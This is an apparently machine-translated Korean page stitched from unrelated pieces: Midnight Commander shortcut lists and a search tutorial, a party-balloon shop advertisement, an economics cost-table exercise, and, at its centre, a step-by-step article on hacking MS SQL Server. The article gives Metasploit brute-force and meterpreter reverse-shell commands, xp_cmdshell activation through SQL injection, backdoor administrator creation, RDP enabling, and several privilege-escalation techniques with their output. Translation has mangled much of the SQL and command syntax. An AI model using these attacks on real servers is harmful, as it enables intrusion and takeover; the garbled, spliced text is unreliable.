MS SQL 데이터베이스 해킹을위한 방법 및 도구 MS SQL 데이터베이스 파일 작업 해킹을위한 방법 및 도구

일반

Ctrl + x, j-백그라운드 작업 표시

Ctrl-X + A-현재 VFS (ftp 등)

ESC + 숫자-F (숫자)와 동일 (ESC + 5 \u003d F5)

F1-F12

F3-파일보기

F3-(편집 중) 텍스트 선택을 시작합니다. F3을 다시 누르면 선택이 종료됩니다.

F4-파일 편집

F5-복사 선택

F6-이동 선택

F8-선택한 항목 삭제

Shift + F1-왼쪽 패널의 마운트 지점 사이의 빠른 점프 메뉴가 호출됩니다

Shift + F2-오른쪽 패널의 마운트 지점 사이의 빠른 점프 메뉴가 호출됩니다

Shift + F5-파일을 동일한 디렉토리에 복사

Shift + F6-파일을 동일한 디렉토리로 이동 / 이름 바꾸기

검색

ctrl-s-파일 또는 디렉토리에 대한 빠른 검색

대체 근무? -고급 파일 검색 메뉴가 호출됩니다.

커맨드 라인

ctrl-a-처음으로 커서

ctrl-e-끝까지 커서

esc-! -파라미터로 명령을 실행

ctrl-x, p 또는 alt + a-디렉토리 이름을 삽입하십시오

esc, 입력하십시오; ctrl-enter-현재 객체를 명령 행으로 보냅니다

ctrl-x, t-선택된 모든 객체를 명령 행에 삽입

esc, tab-명령에 추가

alt-a-현재 디렉토리를 명령 행에 삽입

Alt-TAB (ESC + TAB)-다운로드 한 파일을 찾기위한 가장 멋진 조합 (예 : 철자법을 잊어 버린 방법 : netcfg 또는 netconfig) 명령 줄에 net을 입력하고 Alt-TAB을 누르면 바로 시작할 수 있음을 즉시 알 수 있습니다. 단어 순) 두 번 클릭하십시오!
alt-shift-! -명령 결과를 출력
ctrl-shift-v-클립 보드에서 붙여 넣기

파일 작업

Shift + F4-새 파일을 만듭니다

shift-f6-파일 이름 바꾸기

Ctrl + x, i-두 번째 패널에서 현재 객체에 대한 정보를 빠르게 봅니다.

Ctrl + x, q-두 번째 패널에서 파일 내용의 빠른보기

alt-. -숨겨진 파일 표시

ctrl-x, c-파일 권한

ctrl-x, o-파일 소유자

Shift-F3-파일보기 (RAW / 확장자 제외)

Ctrl + x v-상대 심볼릭 링크 만들기

trl + x, Ctrl + s-기호 링크 편집

ctrl-t-파일 표시 또는 선택 해제

+-정규식으로 파일 그룹을 선택 (표시)

-파일 그룹을 선택 취소

ctrl-x, ctrl-d-파일 비교

ctrl-t 또는 Insert-현재 개체를 선택하십시오

디렉토리 작업

alt-o-인접한 패널의 커서 아래에 디렉토리를 엽니 다

alt-i-인접한 패널에서 현재 디렉토리를 엽니 다

ctrl- \\- "디렉토리 디렉토리"표시

alt-shift-h-디렉토리 히스토리 표시

Ctrl + l-화면 다시 그리기

Ctrl + Space-현재 디렉토리의 크기를 표시합니다

Ctrl-X + D-디렉토리 비교

ESC + C-디렉토리를 빠르게 변경

alt-c-“빠른 변경 디렉토리”창

패널 작업

Ctrl-O-패널을 끄고 그 아래에 무엇이 있는지 확인하십시오 (Linux에서만 작동합니다!) 여기서 쉘에서 작업 할 수 있습니다.

alt-,-패널 표시 모드 전환 (수직 / 수평)

alt-t 세부 패널 디스플레이 모드를 전환합니다

Meta + c-활성 패널에서 현재 디렉토리를 변경하기위한 메뉴가 호출됩니다.

ctrl-U-스왑 패널

alt-g-패널에 표시된 목록의 첫 번째 파일 또는 디렉토리를 표시합니다 (본질적으로 Home 키와 같이 커서를 위로 이동)

alt-e-패널 인코딩 변경

Ctrl + x i-패시브 패널을 "정보"모드로 전환

Ctrl + x q-패시브 패널을 빠른보기 모드로 전환

ctrl-x! -메뉴 →“패널 기준”(git)

이야기

alt + h; esc, h-명령 행 히스토리

alt-p, alt-n-이전 (다음) 명령 행을 반환합니다

대체-y. 디렉토리 이동 기록에서 이전 디렉토리로 이동하십시오. ‘기호를 클릭하면<‘ в верхнем углу панели.

alt-U. 디렉토리 이동 기록에서 다음 디렉토리로 이동 символ\u003e 기호를 클릭하는 것과 같습니다.

에디터

F4 (편집기에서)-대체로 검색

F6 (편집기에서)-정규식 검색

Shift-Del (편집기에서)-블록을 삭제하고 클립 보드에 넣습니다.

Shift-Ins (편집기에서)-버퍼에서 블록을 붙여 넣습니다 (다른 콘솔에서도 작동합니다 !!!) 서로 다른 콘솔에서 두 개 이상의 파일을 편집하고 그 사이에서 블록을 구동 할 수 있습니다.

Shift + F3-텍스트 블록 선택을 시작합니다. F3을 다시 누르면 선택이 종료됩니다.

Shift + F5-mc의 내부 클립 보드에서 텍스트 붙여 넣기 (외부 파일 읽기)

Meta + i-클립 보드에서 서식있는 텍스트를 붙여 넣을 때 편리한 "캐리지 리턴과 자동 정렬"모드를 전환합니다.

메타 + l-번호로 줄로 이동

메타 + q-리터럴 (인쇄 할 수없는 문자)을 삽입하십시오. 아래 표

메타 + t-선택한 텍스트의 줄 정렬

Meta + u-외부 명령을 실행하고 출력을 커서 아래의 위치에 붙여 넣기

Ctrl + f-선택한 조각을 내부 클립 보드 mc에 붙여 넣기 (외부 파일에 쓰기)

Ctrl + k-줄 끝까지 줄의 일부를 삭제합니다

Ctrl + n-새 파일 만들기

Ctrl + s-구문 강조 표시 사용 또는 사용 안함

Ctrl + t-텍스트 인코딩 선택

Ctrl + u-작업 취소

Ctrl + x-다음 끝으로 이동

Ctrl + y-줄 삭제

Ctrl + z-이전 단어의 시작으로 이동

Meta + Enter-함수 정의로의 전환 대화

메타 +--함수 정의로 전환 한 후 반환

메타 ++-함수 정의로 나아 가기

Meta + n-줄 번호 표시를 켜거나 끕니다.

탭 "영구 차단"옵션 인 경우 선택한 텍스트를 오른쪽으로 이동

메타 탭 옵션 "영구 블록"인 경우 선택한 텍스트를 왼쪽으로 이동

Shift + 화살표 텍스트 선택

메타 + 화살표 세로 블록 선택

메타 + Shift +-탭 및 공백 표시 전환

Meta + Shift ++ "캐리지 리턴에 의한 자동 정렬"모드 전환

DBMS를 점검하지 않고서는 심각한 정보를 얻을 수있는 방법이 거의 없습니다. 공격자가 원하는 정보와 컴퓨터를 찾는 가장 인기있는 문 중 하나이기 때문입니다. 대규모 프로젝트에서 MS SQL Server는 종종 DBMS로 사용됩니다. 오늘은 안전성 확인에 대해 이야기하겠습니다. 우리는 미국을 발견하지 않을 것입니다 – 숙련 된 동료들은 그들의 지식을 새로 고칠뿐입니다. 주제를 막 시작한 사람들을 위해 모든 것을 가능한 한 상세하게 정리하려고 노력했습니다.

경고!

모든 정보는 정보 제공의 목적으로 만 제공됩니다. 저자 나 편집자는이 기사의 자료로 인해 발생할 수있는 피해에 대해 책임을지지 않습니다.

소개

정보 시스템의 신뢰성을위한 가장 중요한 기준 중 하나는 DBMS 보안입니다. 대부분의 경우 시스템 성능을 부분적으로 또는 완전히 방해 할 수 있으므로 공격이 중요합니다. 대규모 조직이 오래 전에 인프라를 형성하고 새로운 소프트웨어 버전으로 업데이트하면 "큰"문제가 발생하기 때문에 가장 일반적인 버전은 여전히 \u200b\u200bMS SQL Server 2005 및 MS SQL Server 2008입니다. 그러나 이는 통계 일 뿐이며 계속 진행할 것입니다. 모든 버전에 공통적 인 벡터와 기법을 고려하십시오. 편의상 전체 pentest 프로세스를 여러 단계로 조건부로 나눕니다.

MS SQL을 찾는 방법

펜 테스터가 가장 먼저 시작하는 일은 피해자의 서버에있는 서비스에 대한 정보를 수집하는 것입니다. Microsoft SQL Server를 검색하기 위해 알아야 할 가장 중요한 것은 수신하는 포트 번호입니다. 그리고 포트 1433 (TCP)과 1434 (UDP)를 수신합니다. 대상 서버에 MS SQL이 있는지 확인하려면 스캔해야합니다. 이렇게하려면 ms-sql-info 스크립트와 함께 Nmap을 사용할 수 있습니다. 스캔은 다음과 같이 시작됩니다 :

Nmap -p 1433 --script \u003d ms-sql-info 192.168.18.128

그 구현 결과는 Fig. 1.

Nmap 이외에도 Metasploit mssql_ping을위한 훌륭한 스캐닝 모듈이 있으며,이를 통해 공격받은 서버에 MS SQL이 있는지 확인할 수 있습니다.

msf\u003e 보조 / 스캐너 / mssql / mssql_ping 사용 msf 보조 (mssql_ping)\u003e set RHOSTS 192.167.1.87 RHOSTS \u003d\u003e 192.168.1.87 msf 보조 (mssql_ping)\u003e 실행

이 옵션 중 하나를 사용하여 MS SQL이 서버에 설치되어 있는지 여부를 신속하게 판별하고 해당 버전을 찾을 수 있습니다. 그런 다음 다음 단계로 진행할 수 있습니다.


무차별 대입

서버에서 DBMS를 찾았다 고 가정 해 봅시다. 이제 과제는 그것에 접근하는 것입니다. 그리고 여기서 우리는 인증 형태의 첫 번째 장애물에 직면합니다. 일반적으로 MS SQL은 두 가지 유형의 인증을 지원합니다.

  1. Windows 인증은 운영 체제 수준에서 이미 확인되었다고 가정하면 SQL Server가 사용자 계정을 수락하는 신뢰할 수있는 연결입니다.
  2. 혼합 모드-SQL Server + Windows 인증을 사용한 인증

기본적으로 첫 번째 인증 모드가 사용되며 혼합 모드는 별도로 활성화됩니다. 실제로 혼합 모드 없이는베이스를 만나기가 매우 어렵습니다. 더 유연합니다.

혼합 모드의 장점

  • SQL Server가 이전 응용 프로그램과 SQL Server 인증이 필요한 타사 응용 프로그램을 지원할 수 있도록합니다.
  • SQL Server가 사용자가 Windows 도메인으로 인증하지 않는 여러 운영 체제가있는 환경을 지원할 수 있도록합니다.
  • 소프트웨어 개발자는 잘 알려진 사전 정의 된 SQL Server 로그인을 기반으로 정교한 권한 계층 구조로 응용 프로그램을 배포 할 수 있습니다.

일반적으로이 단계에서는 회사 네트워크에 액세스 할 수 없으므로 Windows를 통한 인증을 사용할 수 없습니다. 그러나 MS SQL로 열린 포트를 찾았습니다. 이는 혼합 모드의 표준 인 admin admin 계정 sa를 제거하려고한다는 것을 의미합니다. 프로세스를 자동화하기 위해 Metasploit 모듈 mssql_login을 사용합니다.

Msf\u003e 보조 / 스캐너 / mssql / mssql_login 사용 msf 보조 (mssql_login)\u003e set RHOSTS 172.16.2.104 RHOSTS \u003d\u003e 172.16.2.104 msf 보조 (mssql_login)\u003e set PASS_FILE /root/Desktop/pass.txt [*] 172.16.24 1433-MSSQL-인증 스캐너 시작 [*] 172.16.2.104:1433-로그인 실패 : 워크 스테이션 \\ sa : 관리자 (잘못된 :) [*] 172.16.2.104:1433-로그인 실패 : 워크 스테이션 \\ sa : qwerty (잘못된 :) [*] 172.16.2.104:1433 -로그인 실패 : 워크 스테이션 \\ sa : toor (잘못된 :) [+] 172.16.2.104:1433-로그인 성공 : 워크 스테이션 \\ sa : 루트 [*] 호스트 1 개 중 1 개 스캔 (100 % 완료) [*] 보조 모듈 실행 완료

대단해! 비밀번호를 찾았습니다. 이제 다음 단계로 넘어갈 수 있습니다. 그러나 sa 계정이 서버에 나타나지 않으면 어떻게해야합니까? 그런 다음 로그인을 무차별 처리해야합니다. 로그인하려면 스크립트에 파일을 하나 더 표시해야합니다.

MSF 보조 (mssql_login)\u003e set USER_FILE /root/Desktop/user.txt

껍질 얻기

sa 계정 제거에 성공한 경우 데이터베이스에 로그인 할 수 있습니다. 그런 다음 시나리오는 간단합니다. 운영 체제 수준에서 명령을 실행하고 Meterpreter 셸 서버에 업로드 할 수있는 저장 프로 시저가 포함되어 있습니다. 터프가들은 Metasploit를위한 훌륭한 모듈 mssql_payload를 작성하여이 프로세스를 자동화했습니다.

MSF\u003e Use exploit / windows / mssql / mssql_payload msf exploit (mssql_payload)\u003e set RHOST 172.16.2.104 msf exploit (mssql_payload)\u003e set USERNAME sa USERNAME \u003d\u003e sa msf exploit (mssql_payload)\u003e PASSWORD root 설정 mssql_payload)\u003e set PAYLOAD windows / meterpreter / reverse_tcp PAYLOAD \u003d\u003e windows / meterpreter / reverse_tcp msf exploit (mssql_payload)\u003e set LHOST 172.16.2.105 LHOST \u003d\u003e 172.16.2.105 [*] 명령 스테이 저 진행-100.00 % 106 (242) ) [*] Meterpreter 세션 1이 2015-02-20 10:42:52 -0500 meterpreter에서 열렸습니다 (172.16.2.105-00-00444-\u003e 172.16.2.104:3987).

Meterpreter 세션이 생성되었으므로 이제 모든 권한을 갖습니다. 관리자 해시 덤프, 스크린 샷 찍기, 파일 만들기 / 삭제, 마우스 또는 키보드 켜기 / 끄기 등을 수행 할 수 있습니다. 아마도 이것은 침투 테스트에 가장 많이 사용되는 쉘일 것입니다. Meterpreter 명령의 전체 목록을 찾을 수 있습니다.

사용자 이름 / 비밀번호가 손실되지 않은 경우 어떻게해야합니까?

그러나 mssql_login 모듈이 당신을 기쁘게 해 줄 것입니다. 관리자는 기본 암호를 거의 남기지 않습니다. 이 경우 SQL 삽입은 쉘을 얻는 데 도움이됩니다. 사용자가 기사 번호와 데이터베이스에 간단한 취약한 쿼리를 입력하는 HTML 형식을 상상해보십시오.이 형식은 모두 sa 관리자 계정으로 작동합니다.

   $ strSQL \u003d "SELECT * FROM. 어디에서 id \u003d $ id";

변수 $ id는 어떤 식으로도 필터링되지 않으므로 관리자 계정 sa에서 요청이 실행될 SQL 주입을 수행 할 수 있습니다. 운영 체제 레벨에서 명령을 실행하려면 xp_cmdshell 저장 프로 시저를 활성화해야합니다.이 프로시 저는 기본적으로 꺼져 있습니다. 활성화하려면 4 가지 요청을 보내야합니다.

  1. EXEC sp_configure "고급 옵션 표시", 1;
  2. 재구성;
  3. ‘Exec sp_configure "xp_cmdshell", 1;
  4. 재구성

sp_configure 시스템 저장 프로 시저를 사용하면 서버 구성을보고 문서화하고 수정 및 복원 할 수 있습니다. 서버에 액세스하는 가장 쉬운 방법은 레지스트리를 통해 RDP를 활성화하고 관리자 권한이있는 사용자를 만들고 연결하는 것입니다.

RDP를 켜십시오.

10; reg add "HKEY_LOCAL_MACHINE \\ SYSTEM \\ CurrentControlSet \\ Control \\ 터미널 서버"/ v fDenyTSConnections / t REG_DWORD / d 0 / f

사용자를 작성하십시오.

10; exec master.dbo.xp_cmdshell "net user root toor / ADD"

우리는 권리를 부여합니다 :

10; exec master.dbo.xp_cmdshell "net 로컬 그룹 관리자 루트 / 추가"

권한 에스컬레이션. 신뢰

이전의 경우 데이터베이스에 대한 요청은 관리자 이름에서 왔으므로 운영 체제의 명령을 실행하는 것이 매우 간단했습니다. 그러나 xp_cmdshell을 활성화 할 권한이없는 탈퇴 된 계정이 있다면 어떨까요? 이 경우 데이터베이스의 저장 프로 시저 및 활성화 된 TRUSTWORTHY 속성이 도움이됩니다.

그러나 처음부터 시작합시다. 이 벡터의 명확성을 높이기 위해 데이터베이스 및 계정 구성 단계에서도 전체 단계를 설명합니다. 새 YOLO 데이터베이스를 작성하십시오. CREATE DATABASE YOLO; . marley 비밀번호를 사용하여 새 bob 사용자를 작성하십시오. CREATE LOGIN bob WITH PASSWORD \u003d "marley"; 사용자 bob을 YOLO 데이터베이스의 소유자로 지정합니다.

default_database \u003d;와 함께 YOLO ALTER LOGIN을 사용하십시오. 로그인에서 사용자 생성; EXEC sp_addrolemember;

그런 다음 가장 모드에서이 데이터베이스의 개체 (보기, 사용자 정의 함수, 저장 프로 시저)가이 데이터베이스 외부의 개체에 액세스 할 수 있는지 여부를 결정하는 TRUSTWORTHY 속성을 설정합니다. ALTER DATABASE YOLO SET TRUSTWORTHY ON. bob : marley 계정을 사용하여 SQL Server에 로그인하십시오.

bob 계정에 sysadmin 권한을 할당하기위한 저장 프로 시저를 만듭니다.

EXEC sp_addsrvrolemember "bob", "sysadmin"으로 소유자와 함께 YOLO GO 프로 시저 sp_lvlup을 소유자로 사용 GO

저장 프로 시저를 실행하기 전에 sysadmin 권한이 없는지 확인하십시오.

SELECT is_srvrolemember ( "sysadmin") 결과 \u003d 0

위에서 만든 sp_lvlup 저장 프로 시저를 실행하십시오.

YOLO EXEC 사용 sp_lvlup

그리고 다시, 우리는 우리의 특권을 점검합니다 :

SELECT is_srvrolemember ( "sysadmin") 결과 \u003d 1

sp_lvlup 프로시 저는 OWNER를 대신하여 실행되도록 작성되었으며이 경우 관리자 계정은 sa입니다. db_owner가 데이터베이스에 대해 스토어드 프로 시저를 작성했으며이 데이터베이스가 신뢰할 수있는 것으로 구성되어 있기 때문에 가능합니다. 즉, TRUSTWORTHY \u003d On 특성입니다. 이 속성이 없으면 권한 부족으로 인해 절차가 불가능했을 것입니다. 활성화 된 TRUSTWORTHY 속성이 항상 나쁜 것은 아닙니다. 관리자가 데이터베이스 소유자에 대한 권한을 낮추지 않으면 문제가 시작됩니다. 결과적으로 bob 계정에는 sp_lvlup을 실행 한 후 sysadmin 권한이 할당됩니다. TRUSTWORTHY 속성이 활성화 된 데이터베이스를 확인하려면 다음 쿼리를 사용할 수 있습니다.

sys.databases에서 SELECT 이름, database_id, is_trustworthy_on

또는 전체 프로세스를 자동화하기 위해 Metasploit mssql_escalate_dbowner_sqli 용 모듈을 사용할 수 있습니다.

보조 / 관리자 사용 / mssql / mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id\u003d1+and+1\u003d;-- exploit ... [+] 172.16.2.104:80-성공! 밥은 이제 sysadmin입니다!

권한 에스컬레이션. 사용자 가장

다음 벡터를 사용자 가장이라고합니다. 때때로 저장 프로 시저에는 응용 프로그램 데이터베이스 외부에있는 외부 리소스에 액세스해야합니다. 이를 구현하기 위해 개발자는 IMPERSONATE 권한과 EXECUTE AS 기능을 사용하여 다른 계정 대신 쿼리를 실행할 수 있습니다. 이것은 그와 같은 취약점이 아니라 약한 구성으로 인해 권한 상승으로 이어집니다.

이전 예제에서와 같이 구성 단계에서 벡터의 본질을 분석하기 시작합니다. 먼저 네 개의 계정을 만듭니다.

로그인 생성 User1 WITH PASSWORD \u003d "secret"; 로그인 사용자 생성 비밀번호 \u003d "secret"; 로그인 사용자 생성 비밀번호 \u003d "secret"; 로그인 사용자 생성 비밀번호 \u003d "secret";

그런 다음 사용자 User1에게 sa, User2, User3 대신 요청을 실행할 수있는 권한을 부여합니다.

마스터 사용; 로그인시 권한 부여 :: sa to; 로그인시 관리자 권한 부여 :: MyUser2 to; 로그인시 관리자 권한 부여 :: MyUser3 to; GO

User1 계정으로 SQL Server에 로그인하고 다른 계정에서 쿼리를 실행하는 권한이 적용되었는지 확인합니다.

sys.server_permissions에서 고유 한 b.name을 선택하십시오. a 내부 참여 sys.server_principals b ON a.grantor_principal_id \u003d b.principal_id WHERE a.permission_name \u003d "IMPERSONATE"

이제 현재 권한을 확인하십시오.

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER ( "sysadmin") 결과 \u003d 0

자, 이제 트릭 자체는 sa를 대신하여 요청을 실행하는 것입니다. 위에서 우리는 sa를 대신하여 요청을 실행할 권한을 User1 계정에 부여했기 때문에 :

EXECUTE AS LOGIN \u003d "sa"SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER ( "sysadmin") 결과 \u003d 1

이제 모든 것이 정돈되었습니다. 이제 sa 대신 명령을 실행할 수 있습니다. 즉, xp_cmdshell 저장 프로 시저를 활성화 할 수 있습니다.

EXEC sp_configure "고급 옵션 표시", 1 RECONFIGURE GO EXEC sp_configure "xp_cmdshell", 1 RECONFIGURE GO

정보

기본적으로 sysadmin 계정은 다른 사용자를 대신하여 요청을 실행할 수 있습니다. 쿼리는 모든 사용자가있는 테이블을 표시하는 데 도움이됩니다. SELECT * FROM master.sys.sysusers WHERE islogin \u003d 1 다른 계정을 대신하여 요청을 실행하려면 EXECUTE AS LOGIN \u003d "AnyUser"를 사용하십시오. 이전 계정으로 돌아가려면 REVERT 요청을 완료하십시오.

그게 전부 트릭입니다. 자동화를 위해 평소와 같이 메타 스플 로이트 모듈 mssql_escalete_executeas_sqli를 사용할 수 있습니다.

보조 / admin / mssql / mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id\u003d1+and+1\u003d;-- exploit ... [+] 172.16.2.104:80-성공! User1은 이제 sysadmin입니다!

권한 에스컬레이션. 인증서 서명 저장 프로 시저

이 벡터를 설명하려면 인증서로 서명 된 취약한 저장 프로 시저를 만드십시오. 이전 예와 달리 에스컬레이션에는 특권이 필요하지 않습니다.

  • tRUSTWORTHY 속성 \u003d 켜짐;
  • iMPERSONATE 권한 및 EXECUTE AS 기능;
  • wITH EXECUTE AS 클래스를 사용하여 저장 프로 시저를 구성하여 다른 계정 대신 실행하십시오.

최소한의 권한으로 계정을 만듭니다.

암호로 로그인 생성 \u003d "loki"; GO-default_database \u003d;로 로그인의 기본 데이터베이스 ALTER LOGIN을 설정합니다. GO

TRUSTWORTHY 속성을 끕니다 : ALTER DATABASE master SET TRUSTWORTHY OFF. 그리고 간단한 저장 프로 시저 sp_xxx를 만들어 tempdb 데이터베이스와 사용자가 입력 한 데이터베이스에서 이름 열을 출력합니다.

마스터 사용; GO CREATE PROCEDURE sp_xxx @DbName varchar (max) BEGIN으로 @query를 varchar (max)로 선언 SET @query \u003d "SELECT name FROM master..sysdatabases (예 :"% "+ @DbName +"% ""OR name \u003d " "tempdb" ""; EXECUTE (@query) END GO

그런 다음 MASTER 데이터베이스의 암호화 키를 작성하십시오.

비밀번호로 마스터 키 암호화 만들기 \u003d "secret"; GO

그리고 증명서 :

인증서 작성 sp_xxx_cert with SUBJECT \u003d "sp_xxx에 서명하려면", EXPIRY_DATE \u003d "2035-01-01"; GO

다음 단계는 sp_xxx 인증서에서 사용자 이름을 만드는 것입니다.

인증서 sp_xxx_cert에서 로그인 sp_xxx_login 생성

그리고 우리는 작성된 인증서로 절차에 서명합니다.

인증서로 sp_xxx에 서명 추가 sp_xxx_cert; GO

sp_lvlup2에 sysadmin 권한을 할당하십시오.

EXEC master..sp_addsrvrolemember @loginame \u003d N "sp_xxx_login", @rolename \u003d N "sysadmin"GO

절차를 수행 할 수있는 권한을 PUBLIC 그룹의 구성원에게 부여합니다.

sp_xxx에서 공개로 실행

결과적으로 최소한의 권한으로 입력 한 데이터베이스의 이름을 표시하는 sp_xxx 저장 프로 시저 인 sp_xxx 저장 프로 시저를 작성하고 sp_xxx_cert 인증서를 작성하고 저장 프로 시저에 서명 한 후 인증서에서 sp_xxx_login 로그인을 작성하고 sysadmin 권한을 부여했습니다. 이것으로 준비 부분은 끝났습니다. tor 계정으로 로그인하고 저장 프로 시저를 호출하십시오.

EXEC MASTER.dbo.sp_xxx "마스터"

예상대로 master와 tempdb (그림 3 참조)로 지정한 데이터베이스 이름을 반환합니다.

  그림. 3. 쿼리 EXEC MASTER.dbo.sp_xxx "master"실행 결과

EXEC MASTER.dbo.sp_sqli2 "master" "-"형식의 쿼리는 마스터 만 반환합니다 (그림 4 참조).

  그림 4. EXEC MASTER.dbo.xxx "master" "-"쿼리 실행 결과

대단해 이는 스토어드 프로 시저에 SQL 삽입이 적용됨을 의미합니다. 다음 쿼리를 통해 권한을 확인합니다.

EXEC MASTER.dbo.sp_xxx "master" "; priv_certsp--"로 is_srvrolemember ( ""sysadmin "")를 선택하십시오.

priv_cersp \u003d 1 (그림 5 참조)은 sysadmin 권한이 있음을 의미합니다. EXEC 명령 master..xp_cmdshell "whoami"를 실행하십시오. tor 계정에는 최소한의 권한이 있기 때문에 작동하지 않지만이 요청이 SQL 삽입에 포함되면 모든 것이 작동합니다 (그림 6).

가장 흥미로운 것은 이러한 트릭은 2005-2014 버전에서 작동합니다.

결론

이 모든 벡터의 차이는 매우 중요합니다. 경우에 따라 목표를 달성하기 위해 포함 된 TRUSTWORTHY 특성으로 자신을 제한 할 수 있습니다.이 특성을 사용하면 권한을 증가시키는 스토어드 프로 시저를 작성하고 실행하기 위해이 데이터베이스의 자원을 외부에있는 오브젝트로 사용할 수 있습니다. 어딘가에서 IMPERSONATE 권한 및 EXECUTE AS 기능으로 인해 다른 계정 대신 저장 프로 시저를 실행할 수 있으며, 세 번째 경우에는 쿼리를 주입 할 수있는 SQL 주입이 중요하며 다른 계정을 대신하여 실행됩니다. 뉘앙스와 미묘함을 완전히 이해하려면 로컬 컴퓨터에서 이러한 벡터를 확인하는 것이 좋습니다.

이 기사에서는 MS SQL DBMS에 대한 모든 공격 경로를 철저하게 제시하지는 않지만 보안의 표면 분석에 매우 유용합니다. 또한 Easy Hack 섹션의 12 월호 Alexey Tyurin에서 설명 된 [(# 191) DB 링크를 통해 또 다른 해킹 벡터를 익히는 것이 좋습니다. 그게 다야, 당신의 관심에 감사하고 곧 보자.

상용 소프트웨어 제품을 사용할 때 예를 들어 CMS 줌라, 종종 프로그램 결과에 오류 메시지 나 경고가 표시되지만이 코드 조각의 위치에 대한 자세한 정보는 없습니다. 이 경우 가장 쉬운 방법은 파일 검색을 사용하는 것입니다. 자정 사령관   라인별로. 이 작업을 수행하는 방법을 고려하십시오.

일반적으로 원하는 코드 조각이있는 파일의 대략적인 위치가 알려져 있습니다. 따라서 가장 먼저이 파일을 찾을 수있는 디렉토리로갑니다.

"의 상황에 맞는 메뉴에서 시작 :» ( 카탈로그에서 ) 요점을 남겨 두십시오 : 우리는 이미 검색 할 파일이 들어있는 제안 된 디렉토리에 있습니다. 그러나 ' 리 "( D나무)에서 검색 할 다른 디렉토리를 선택할 수 있습니다.

컨텍스트 필드 "에나 ble 디렉토리 무시”( 그리고디렉토리 무시검색 범위를 좁히기 위해 알려진 디렉토리를 검색에서 제외하지 않으려면)를 비워 둘 수 있습니다.

"분야에서 파일명» ( 이름 템플릿 ) 파일 이름 또는 템플릿 이름을 입력해야합니다. 템플릿은 ?   어떤 성격이든 * 임의의 수의 문자에 대해 이름이나 파일 확장자에 대해 모르는 경우 자유롭게 입력하십시오. *.* .

선택적으로 :

  • « Find 재귀 적으로 "( 다시 찾기 간절히)
  • « U쉘 패턴을 노래 쉘 문자)
  • "카스 e   민감한”( 에서심지어 등록)
  • « All 문자셋 "( 안으로모든 인코딩)
  • "S kiP 숨겨진 "( skr 건너 뛰기 s)

"분야에서 내용» ( 내용 ) Midnight Commander가 만나는 모든 파일에서 찾을 줄을 입력하십시오.

선택적으로 :

  • "바다 r내용에 대한 ch "( 내용으로 검색 ) ← 이 옵션은 한 줄씩 검색해야합니다.
  • "다시 gular expression "( P 정규식)
  • "케이스 감각 나는tive "( 회계 g이스트 라)
  • "A l리터 셋 "( 태양 e   인코딩)
  • « 구멍 단어 "( 전체 낚시)
  • "전나무 st "( 처음까지 x운전)

검색 시작 k "( D 알 chet), "사용 중지 Cansel "( P 찢다).

프로그램이 모든 파일을 실행 한 후에는 일치하는 파일이있는 디렉토리 목록 형식과 검색 구와 일치하는 행 번호가있는 파일 자체의 형식으로 파일을 제공합니다.

일반적으로 알고있는 것을 검색 할 때 매우 편리한 프로그램이지만 정확히 어디를 볼지 모릅니다. :)

휴일의 조직은 어려운 작업입니다. 생각하고 돌보아야 할 것들이 너무 많습니다. "MF 검색"회사는 작업 중 하나 인 데코레이션을 단순화합니다. 수집했습니다 휴일 제품 카탈로그방과 작은 물건에 많은 장식 수단이 들어있어 축하 행사에 유용합니다.

휴일 상품 카탈로그 : 쇼핑리스트 작성

MF 검색 카탈로그는 기성품 쇼핑 목록이라고 할 수 있습니다. 편리하고 상세한 구조를 가지고 있습니다. 우리에게서 얻을 수 있습니다 :

  • 결혼 도구. 리본, 색종이 조각, 자물쇠, 홀과 자동차 장식 등.
  • 카니발을위한 모든 것. 이 섹션에서는 의상 파티, 새해 카니발, 할로윈, 테마 생일 Ave를 개최하는 데 필요한 액세서리를 찾을 수 있습니다.
  • 일회용 식기. 테이블은 항상 도자기와 도자기로 덮여 있지 않습니다. 예를 들어, 어린이 테이블을 제공하거나 사무실에서 생일을 축하하기 위해 종이 접시와 컵을 사용하는 것이 더 편리합니다.
  • 파티 장난감 및 비누 거품. 아이들이 휴일에 지루해하지 않도록 미리 여가를 돌봐야합니다. 운이 좋다! 우리는 필요한 모든 속성을 수집했습니다. 당신은 그녀의 응용 프로그램을 찾아야합니다.
  • 크래커와 폭죽. 그들은 휴가를 밝고 잊을 수 없게 만들 것입니다.
  • 양초 케이크를 장식하고 낭만적 인 저녁을 보내고 놀라움을 피우십시오. 각 경우마다 촛불 세트가 있습니다.

"MF 검색"의 풍선

MF 검색은 가장 큰 풍선 공급 업체입니다. 우리는 미국, 스페인, 멕시코의 제조업체와 협력합니다. 우리는 고품질의 인증서를 제공하고 가장 완벽한 구색을 제공하여 각 이벤트마다 고유 한 구성을 만들 수 있습니다. 카탈로그의 모든 풍선은 라텍스와 호일로 나눌 수 있습니다.

  • 라텍스. 색상, 크기, 모양, 테마에 따라 선택할 수 있습니다. 우리는 패턴이 있거나없는 볼을 판매하고 로고 적용 서비스를 제공합니다. 고전적인 옵션 외에도 펀치 볼, 링크, 곱슬 공 및 모델링과 같은 특별한 옵션을 제공합니다.
  • 호일. 걷기, 큰, 미니, 숫자 형태로 선택할 수 있습니다. 편의를 위해 주제별로 제품을 정렬 했으므로 결혼식, 생일, 새해 및 기타 특별한 행사를위한 제품이있는 섹션으로 쉽게 이동할 수 있습니다.

별도로, 우리는 막대기 또는 무게와 같은 볼 액세서리를 배치했습니다. 디자이너는 장비-헬륨 실린더, 펌프, 인쇄 잉크 섹션에 관심이 있습니다.

왜 "MF 검색"을 선택합니까?

  • 가장 큰 볼 카탈로그.
  • 공개 액세스의 품질 인증서.
  • 최소 주문 금액은 이벤트 범위에 관계없이 각 구매자가 사용할 수 있습니다.
  • 한 곳에서 휴가를위한 모든 제품.
  • 대형 도매 할인.

우리는 사이트에 머무르는 것을 편안하게하려고 노력하므로 새로운 제품, 영업 리더 및 "곧 출시 예정"발표와 함께 별도의 섹션을 만들었습니다. 우리와 함께 휴가를 준비하는 것이 쉽다는 것을 확신 할 것입니다!

이 표는 출력에 대한 기업의 총 비용 의존도를 보여줍니다. 고정, 변수, 평균 총계, 평균 상수, 평균 변수 등의 비용을 계산하십시오. 표에서 FC, VC, MC, ATC, AFC, AVC 열을 채우십시오.

총 비용, TC, p.FCVcMCATCAVCAfc
0 60
1 130
2 180
